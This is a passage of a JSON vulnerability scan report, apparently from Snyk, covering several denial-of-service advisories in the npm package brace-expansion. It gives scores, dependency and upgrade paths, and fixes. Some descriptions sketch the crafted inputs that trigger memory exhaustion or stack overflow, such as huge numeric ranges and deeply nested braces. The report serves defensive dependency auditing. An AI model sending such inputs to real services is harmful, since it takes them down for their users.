Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { 